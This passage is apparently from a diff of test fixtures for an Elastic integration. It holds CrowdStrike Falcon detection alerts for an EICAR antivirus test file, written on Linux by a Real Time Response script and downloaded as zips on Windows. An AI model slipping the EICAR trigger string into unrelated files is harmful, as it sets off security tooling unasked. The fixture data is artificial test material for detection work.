\\\"$timeout\\\" =~ .*[^0-9].* ]] || [ \\\"$timeout\\\" -eq 0 ]; then\\n    die \\\"Timeout must be a positive integer\\\"\\nfi\\n\\neval set -- \\\"$script_args\\\"\\n/bin/bash -c \\\"$script\\\" /bin/bash \\\"$@\\\" &\\npid=$!\\n\\nfunction get_time()\\n{\\n    sed -n '1s/\\\\([0-9]\\\\+\\\\)\\\\.\\\\([0-9][0-9]\\\\).*/\\\\1\\\\2/p' /proc/uptime\\n}\\n\\nstart_time=$(get_time)\\nlast_print_time=$start_time\\nwait_interval=0.1\\nprint_interval=5\\nresolution=100\\nwhile kill -0 $pid 2> /dev/null ; do\\n    current_time=$(get_time)\\n    if ((current_time - start_time >= timeout*resolution)); then\\n        kill -9 $pid >/dev/null 2>&1\\n        echo \\\"$command: Timed out waiting for script to exit\\\" >&2\\n        kill -9 -$$ >/dev/null 2>&1\\n    fi\\n    if ((current_time - last_print_time >= print_interval*resolution)); then\\n        printf %b '\\\\xe2\\\\x80\\\\x8b' # hex for unicode '\\\\u200b' for backward compatibility\\n        last_print_time=$current_time\\n    fi\\n    /bin/sleep $wait_interval\\ndone\\n /bin/bash printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com         \",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1751532935654264600,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":30195,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1751532935,\"ProcessId\":1751532935660927000,\"ProcessStartTime\":1751532935,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"root\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1751533769000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":1962865,\"version\":\"1.0\"}}",
+                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "21cdb844225f8dc4ea6e9f80f9940a2b",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d"
+                },
+                "name": "bash",
+                "path": "/usr/bin/bash"
+            },
+            "host": {
+                "name": "cs-elastic"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "/bin/bash",
+                    "-c",
+                    "printf",
+                    "\"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\"",
+                    ">",
+                    "eicar.com",
+                    "/bin/bash"
+                ],
+                "command_line": "/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash",
+                "end": "2025-07-03T08:55:35.000Z",
+                "entity_id": "1751532935660927000",
+                "executable": "/bin/bash",
+                "name": "bash",
+                "parent": {
+                    "args": [
+                        "/bin/bash",
+                        "--noprofile",
+                        "--norc",
+                        "-c",
+                        "#!/bin/bash\n#",
+                        "SYNOPSIS\n#",
+                        "Run",
+                        "a",
+                        "bash",
+                        "script",
+                        "with",
+                        "specified",
+                        "command",
+                        "line",
+                        "and",
+                        "timeout\n#",
+                        "DESCRIPTION\n#",
+                        "CrowdStrike",
+                        "Real",
+                        "Time",
+                        "Response",
+                        "command\n#",
+                        "PARAMETER",
+                        "WD\n#",
+                        "Current",
+                        "working",
+                        "directory\n#",
+                        "PARAMETER",
+                        "Param1\n#",
+                        "Script",
+                        "body",
+                        "-",
+                        "Required\n#",
+                        "PARAMETER",
+                        "Param2\n#",
+                        "Command",
+                        "line",
+                        "sent",
+                        "to",
+                        "script\n#",
+                        "PARAMETER",
+                        "Param3\n#",
+                        "Local",
+                        "path",
+                        "-",
+                        "path",
+                        "to",
+                        "local",
+                        "file",
+                        "to",
+                        "be",
+                        "used",
+                        "as",
+                        "script",
+                        "body\n#",
+                        "PARAMETER",
+                        "Param4\n#",
+                        "Timeout",
+                        "in",
+                        "seconds\n#",
+                        "NOTES\n#",
+                        "File",
+                        "Name",
+                        ":",
+                        "runscript.sh\n#",
+                        "Contact",
+                        ":",
+                        "support@crowdstrike.com\n#",
+                        "Copyright",
+                        ":",
+                        "CrowdStrike",
+                        "2020\n#",
+                        "LINK\n#",
+                        "https://www.crowdstrike.com/\n\nset",
+                        "-euo",
+                        "pipefail\nshopt",
+                        "-s",
+                        "extglob\n\ncommand=runscript\n\nfunction",
+                        "die\n{\n",
+                        "echo",
+                        "\"$command:",
+                        "$1\"",
+                        ">&2\n",
+                        "exit",
+                        "1\n}\n\nfunction",
+                        "err_handler()\n{\n",
+                        "#",
+                        "Rewrite",
+                        "the",
+                        "error",
+                        "message",
+                        "to",
+                        "remove",
+                        "the",
+                        "internal",
+                        "command",
+                        "prefix\n",
+                        "echo",
+                        "\"$command:${1#*cat:}\"",
+                        ">&2\n}\ntrap",
+                        "'err_handler",
+                        "\"$script\"'",
+                        "ERR\n\nfunction",
+                        "get_arg()",
+                        "{\n",
+                        "eval",
+                        "set",
+                        "--",
+                        "\"$1\"\n",
+                        "echo",
+                        "\"$@\"\n}\n\nscript=\nif",
+                        "[",
+                        "\"$#\"",
+                        "-ge",
+                        "1",
+                        "];",
+                        "then\n",
+                        "script=\"$1\"\n",
+                        "shift\nfi\n\nscript_args=\nif",
+                        "[",
+                        "\"$#\"",
+                        "-ge",
+                        "1",
+                        "];",
+                        "then\n",
+                        "script_args=\"$1\"\n",
+                        "shift\nfi\n\n#",
+                        "following",
+                        "Windows",
+                        "behavior",
+                        "where",
+                        "HostPath",
+                        "clobbers",
+                        "Raw\nif",
+                        "[",
+                        "\"$#\"",
+                        "-ge",
+                        "1",
+                        "];",
+                        "then\n",
+                        "script_path=\"$(get_arg",
+                        "\"$1\")\"\n",
+                        "if",
+                        "[",
+                        "-n",
+                        "\"$script_path\"",
+                        "];",
+                        "then\n",
+                        "script=\"$(/bin/cat",
+                        "\"$script_path\"",
+                        "2>&1)\"\n",
+                        "fi\n",
+                        "shift\nfi\n\ntimeout=60\nif",
+                        "[",
+                        "\"$#\"",
+                        "-ge",
+                        "1",
+                        "];",
+                        "then\n",
+                        "if",
+                        "[",
+                        "-n",
+                        "\"$1\"",
+                        "];",
+                        "then\n",
+                        "timeout=\"$1\"\n",
+                        "fi\n",
+                        "shift\nfi\n\nif",
+                        "[",
+                        "-z",
+                        "\"$script\"",
+                        "];",
+                        "then\n",
+                        "die",
+                        "\"Either",
+                        "-Raw",
+                        "or",
+                        "-HostPath",
+                        "must",
+                        "be",
+                        "specified\"\nfi\n\nif",
+                        "[[",
+                        "\"$timeout\"",
+                        "=~",
+                        ".*[^0-9].*",
+                        "]]",
+                        "||",
+                        "[",
+                        "\"$timeout\"",
+                        "-eq",
+                        "0",
+                        "];",
+                        "then\n",
+                        "die",
+                        "\"Timeout",
+                        "must",
+                        "be",
+                        "a",
+                        "positive",
+                        "integer\"\nfi\n\neval",
+                        "set",
+                        "--",
+                        "\"$script_args\"\n/bin/bash",
+                        "-c",
+                        "\"$script\"",
+                        "/bin/bash",
+                        "\"$@\"",
+                        "&\npid=$!\n\nfunction",
+                        "get_time()\n{\n",
+                        "sed",
+                        "-n",
+                        "'1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p'",
+                        "/proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile",
+                        "kill",
+                        "-0",
+                        "$pid",
+                        "2>",
+                        "/dev/null",
+                        ";",
+                        "do\n",
+                        "current_time=$(get_time)\n",
+                        "if",
+                        "((current_time",
+                        "-",
+                        "start_time",
+                        ">=",
+                        "timeout*resolution));",
+                        "then\n",
+                        "kill",
+                        "-9",
+                        "$pid",
+                        ">/dev/null",
+                        "2>&1\n",
+                        "echo",
+                        "\"$command:",
+                        "Timed",
+                        "out",
+                        "waiting",
+                        "for",
+                        "script",
+                        "to",
+                        "exit\"",
+                        ">&2\n",
+                        "kill",
+                        "-9",
+                        "-$$",
+                        ">/dev/null",
+                        "2>&1\n",
+                        "fi\n",
+                        "if",
+                        "((current_time",
+                        "-",
+                        "last_print_time",
+                        ">=",
+                        "print_interval*resolution));",
+                        "then\n",
+                        "printf",
+                        "%b",
+                        "'\\xe2\\x80\\x8b'",
+                        "#",
+                        "hex",
+                        "for",
+                        "unicode",
+                        "'\\u200b'",
+                        "for",
+                        "backward",
+                        "compatibility\n",
+                        "last_print_time=$current_time\n",
+                        "fi\n",
+                        "/bin/sleep",
+                        "$wait_interval\ndone\n",
+                        "/bin/bash",
+                        "printf",
+                        "\"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\"",
+                        ">",
+                        "eicar.com"
+                    ],
+                    "command_line": "/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n#    Run a bash script with specified command line and timeout\n# DESCRIPTION\n#   CrowdStrike Real Time Response command\n# PARAMETER WD\n#    Current working directory\n# PARAMETER Param1\n#    Script body - Required\n# PARAMETER Param2\n#    Command line sent to script\n# PARAMETER Param3\n#    Local path - path to local file to be used as script body\n# PARAMETER Param4\n#    Timeout in seconds\n# NOTES\n#    File Name  : runscript.sh\n#    Contact    : support@crowdstrike.com\n#    Copyright  : CrowdStrike 2020\n# LINK\n#    https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n    echo \"$command: $1\" >&2\n    exit 1\n}\n\nfunction err_handler()\n{\n    # Rewrite the error message to remove the internal command prefix\n    echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n    eval set -- \"$1\"\n    echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n    script=\"$1\"\n    shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n    script_args=\"$1\"\n    shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n    script_path=\"$(get_arg \"$1\")\"\n    if [ -n \"$script_path\" ]; then\n        script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n    fi\n    shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n    if [ -n \"$1\" ]; then\n        timeout=\"$1\"\n    fi\n    shift\nfi\n\nif [ -z \"$script\" ]; then\n    die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n    die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n    sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n    current_time=$(get_time)\n    if ((current_time - start_time >= timeout*resolution)); then\n        kill -9 $pid >/dev/null 2>&1\n        echo \"$command: Timed out waiting for script to exit\" >&2\n        kill -9 -$$ >/dev/null 2>&1\n    fi\n    if ((current_time - last_print_time >= print_interval*resolution)); then\n        printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n        last_print_time=$current_time\n    fi\n    /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com",
+                    "entity_id": "1751532935654264600",
+                    "executable": "/bin/bash",
+                    "pid": 1751532935654264600
+                },
+                "pid": 1751532935660927000,
+                "start": "2025-07-03T08:55:35.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d",
+                    "21cdb844225f8dc4ea6e9f80f9940a2b"
+                ],
+                "hosts": [
+                    "cs-elastic"
+                ],
+                "ip": [
+                    "192.168.64.5"
+                ],
+                "user": [
+                    "root"
+                ]
+            },
+            "rule": {
+                "name": "Attacker Methodology"
+            },
+            "source": {
+                "ip": "192.168.64.5"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "Execution"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "User Execution"
+                    ]
+                }
+            },
+            "user": {
+                "name": "root"
+            }
+        },
+        {
+            "@timestamp": "2025-07-01T12:11:39.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:38655211725",
+                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320",
+                    "DataDomains": "Endpoint",
+                    "Description": "A process has written a known EICAR test file. Review the files written by the triggered process.",
+                    "FilesAccessed": [
+                        {
+                            "FileName": "eicarcom2.zip",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads",
+                            "Timestamp": "2025-07-01T12:10:30.000Z"
+                        },
+                        {
+                            "FileName": "thumbcache_16.db",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
+                            "Timestamp": "2025-07-01T12:10:30.000Z"
+                        },
+                        {
+                            "FileName": "eicar_com.zip",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
+                            "Timestamp": "2025-07-01T12:10:30.000Z"
+                        },
+                        {
+                            "FileName": "thumbcache_idx.db",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
+                            "Timestamp": "2025-07-01T12:10:30.000Z"
+                        },
+                        {
+                            "FileName": "GLEAM-LIGHT.svg",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds",
+                            "Timestamp": "2025-07-01T12:10:35.000Z"
+                        },
+                        {
+                            "FileName": "GLEAM-DARK.svg",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds",
+                            "Timestamp": "2025-07-01T12:10:35.000Z"
+                        },
+                        {
+                            "FileName": "eicar_com.zip",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
+                            "Timestamp": "2025-07-01T12:10:41.000Z"
+                        },
+                        {
+                            "FileName": "eicar_com.zip",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
+                            "Timestamp": "2025-07-01T12:10:42.000Z"
+                        },
+                        {
+                            "FileName": "eicar_com.zip",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
+                            "Timestamp": "2025-07-01T12:10:43.000Z"
+                        },
+                        {
+                            "FileName": "iconcache_16.db",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
+                            "Timestamp": "2025-07-01T12:10:43.000Z"
+                        }
+                    ],
+                    "FilesWritten": [
+                        {
+                            "FileName": "eicar.com",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com",
+                            "Timestamp": "2025-07-01T12:10:43.000Z"
+                        },
+                        {
+                            "FileName": "The Internet.lnk",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                            "Timestamp": "2025-07-01T12:07:38.000Z"
+                        },
+                        {
+                            "FileName": "windowsdefender--threat-.lnk",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                            "Timestamp": "2025-07-01T12:07:38.000Z"
+                        },
+                        {
+                            "FileName": "The Internet.lnk",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                            "Timestamp": "2025-07-01T12:09:04.000Z"
+                        },
+                        {
+                            "FileName": "windowsdefender--threat-.lnk",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                            "Timestamp": "2025-07-01T12:09:04.000Z"
+                        },
+                        {
+                            "FileName": "https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                            "Timestamp": "2025-07-01T12:09:21.000Z"
+                        }
+                    ],
+                    "GrandparentCommandLine": "winlogon.exe",
+                    "GrandparentImageFileName": "winlogon.exe",
+                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe",
+                    "HostGroups": [
+                        "6b15afc3ea3a42ed810b5c163e490a9d"
+                    ],
+                    "MACAddress": "ba-d0-00-ba-d0-00",
+                    "NetworkAccesses": [
+                        {
+                            "AccessTimestamp": 1751371565,
+                            "AccessType": 0,
+                            "ConnectionDirection": 0,
+                            "IsIPV6": false,
+                            "LocalAddress": "10.0.0.13",
+                            "LocalPort": 49729,
+                            "Protocol": "TCP",
+                            "RemoteAddress": "150.171.27.12",
+                            "RemotePort": 443
+                        },
+                        {
+                            "AccessTimestamp": 1751371565,
+                            "AccessType": 0,
+                            "ConnectionDirection": 0,
+                            "IsIPV6": false,
+                            "LocalAddress": "10.0.0.13",
+                            "LocalPort": 49730,
+                            "Protocol": "TCP",
+                            "RemoteAddress": "2.22.144.74",
+                            "RemotePort": 443
+                        },
+                        {
+                            "AccessTimestamp": 1751371787,
+                            "AccessType": 0,
+                            "ConnectionDirection": 0,
+                            "IsIPV6": false,
+                            "LocalAddress": "10.0.0.13",
+                            "LocalPort": 49948,
+                            "Protocol": "TCP",
+                            "RemoteAddress": "2.18.27.89",
+                            "RemotePort": 443
+                        }
+                    ],
+                    "Objective": "Follow Through",
+                    "ParentImageFileName": "userinit.exe",
+                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "ContainmentFileSystem": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternId": "10418",
+                    "PlatformId": "0",
+                    "PlatformName": "Windows",
+                    "ReferrerUrl": "C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip",
+                    "SensorId": "cff45d56127743a593792fb968dac907",
+                    "Severity": 10,
+                    "SeverityName": "Informational",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 1956190,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, standard detection.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-07-01T12:11:39.000Z",
+                "kind": "alert",
+                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:38655211725\",\"CommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"explorer.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"FilesAccessed\":[{\"FileName\":\"eicarcom2.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_idx.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"GLEAM-LIGHT.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"GLEAM-DARK.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371841},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371842},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371843},{\"FileName\":\"iconcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371843}],\"FilesWritten\":[{\"FileName\":\"eicar.com\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com\",\"Timestamp\":1751371843},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371761}],\"GrandParentCommandLine\":\"winlogon.exe\",\"GrandParentImageFileName\":\"winlogon.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\winlogon.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"23ba370fc8357f6f827812da142b5fcb\",\"Name\":\"Known Malware\",\"NetworkAccesses\":[{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49729,\"Protocol\":\"TCP\",\"RemoteAddress\":\"150.171.27.12\",\"RemotePort\":443},{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49730,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.22.144.74\",\"RemotePort\":443},{\"AccessTimestamp\":1751371787,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49948,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.18.27.89\",\"RemotePort\":443}],\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"ParentImageFileName\":\"userinit.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"ParentProcessId\":38850737845,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10418,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":38850874557,\"ProcessStartTime\":1751371562,\"ReferrerUrl\":\"C:\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com.zip\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User 